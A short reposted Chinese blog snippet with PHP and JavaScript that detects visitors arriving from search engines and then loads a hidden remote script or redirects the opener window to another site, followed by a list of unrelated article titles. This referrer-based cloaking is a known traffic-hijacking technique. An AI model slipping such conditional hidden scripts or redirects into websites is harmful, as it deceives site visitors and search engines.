根据搜索来路 弹出相应广告
以下是一段php判断搜索引擎的代码
<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>
而通过Js判断搜索引擎来路的代码则如下
<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}
function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>
另外附上自己百度谷歌的一份代码
<script language="javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )
window.opener.navigate("http://www.t00ls.net")
</script>
留着备用,以后准备份代码,用来做判断搜索引擎做跳转。

转载于:https://www.cnblogs.com/keringing/p/3203930.html

根据搜索来路 弹出相应广告相关推荐

  1. 怎么删除flash弹出的广告_电脑桌面老是弹出广告怎么办?一个无需下载软件即可屏蔽的方法...

    许多小伙伴在使用电脑时都有遇到桌面老是弹出一些烦人的广告吧,特别是什么今日热点.今日新闻之类的.虽然电脑管家.360之类的管家软件通常都有屏蔽的功能,但毕竟需要运行着这些软件,占用系统资源,今天小编教 ...

  2. 怎么关闭计算机桌面的弹窗,电脑桌面弹出的广告怎么设置关闭

    电脑桌面弹出的广告怎么设置关闭 今天给大家介绍一下电脑桌面弹出的广告怎么设置关闭的具体操作步骤. 1. 打开电脑,进入桌面后,点击任务栏左下角的搜索图标,输入"控制面板"进行搜索, ...

  3. 开机弹出“今日看点”和屏幕右下角弹出小广告的解决方法

    <开机弹出"今日看点"和屏幕右下角弹出小广告的解决方法!> 最近几天,我家电脑屏幕右下角经常弹出广告窗口.<腾讯QQ>和<迅雷看看>弹出来的广告 ...

  4. 流氓武汉电信也开始推送广告(系统右下角弹出UUSee广告的真正原因及解决方法)

    已经有好几回了,打开网页不定期在右下角弹出UUSee的广告(现在变成了武汉某房地产的广告),时间不定,随机出来,此时查看当前弹广告的网页源文件会发现网页被框架了,代码如下 <HTML> & ...

  5. 解决Flash Helper Service老是弹出流氓广告

    Flash Helper Service老是弹出流氓广告,画面令人嗤之以鼻 就算选择"不再弹出"选项,过段时间依然如此,今天决定跟这个流氓程序永远说再见: 1.在 C:\Windo ...

  6. wifi 路由 dns 被劫持 手机 /电脑 打开后弹出一些广告窗口

    问题 : wifi 路由 dns 被劫持 手机 /电脑 打开后弹出一些广告窗口 路由器的dns动态ip被劫持了,植入一些黑客的广告 解决方法 : 重置路由器 点击路由器的恢复出厂设置按钮,即是,路由器 ...

  7. 谷歌浏览器如何彻底关闭右下角弹出的广告弹窗

    谷歌浏览器如何彻底关闭右下角弹出的广告弹窗 https://jingyan.baidu.com/article/1709ad80c1d5260634c4f0cf.html

  8. c#桌面应用程序如何添加弹出式广告

    2019独角兽企业重金招聘Python工程师标准>>> c#写的软件很多,如何添加诸如像搜狗输入法软件与灵格斯翻译软件的屏幕右下角弹出式广告呢. c#代码如下: using Syst ...

  9. c#应用程序如何添加弹出式广告功能

    使用c#语言,如何实现像搜狗输入法以及灵格斯翻译软件的屏幕右下角弹出式广告呢? c#code如下: using System; using System.Collections.Generic; us ...

最新文章

  1. Python深度学习之分类模型示例,MNIST数据集手写数字识别
  2. 大剑无锋之TCP和HTTP的区别【面试推荐】
  3. 基于SSD的Kafka应用层缓存架构设计与实现
  4. Python装饰器总结,带你几步跨越此坑!
  5. oracle未获得监听器,无监听文件listener.ora的动态监听小例试验
  6. 一行代码指定python下载源为清华源【只需修改一次】
  7. WPF [调用线程无法访问此对象,因为另一个线程拥有该对象。] 解决方案
  8. 基于vue2.0与追书神器api的小说阅读webapp
  9. 分享好用的Mac系统的FTP工具和SHELL工具
  10. 小米手机运行linux,在Linux系统下使用小米刷机工具:XiaoMiTool V2(XMT2)
  11. 电脑 清理android,怎样清除系统垃圾 手机电脑一举拿下【图文】
  12. 教你在 Markdown 文档中借助 MathType 公式编辑器插入 LaTeX 公式
  13. 1、CSS中iconfont 彩色图标使用详解
  14. C#对IE收藏夹的操作
  15. 币圈一级市场丨coinlist上新系列——TRIBL
  16. 无法加载shockwave flash
  17. ACR122u读写NTAG标签NFC标签
  18. 新形势下,如何进行智慧园区移动应用建设?
  19. 概率论和java_概率论入门
  20. pytorch tensorflow 的earlystopping方法

热门文章

  1. Redis 笔记(11)— 文本协议 RESP(单行、多行字符串、整数、错误、数组、空值、空串格式、telnet 登录 redis)
  2. pip install 豆瓣源、清华源、阿里源、中国科技大学源
  3. Python 中的魔术方法(双下划线开头和结尾的方法)
  4. Docker 入门系列(6)- Docker 互联
  5. 一道有意思的阶乘计算题
  6. 【Sql Server】DateBase-视图
  7. System.Data.SqlClient.SqlException:“ ',' 附近有语法错误。必须声明标量变量 @Password。”
  8. 【算法基础】时间复杂度:大O阶方法
  9. LeetCode简单题之删除某些元素后的数组均值
  10. linux C++打包程序总结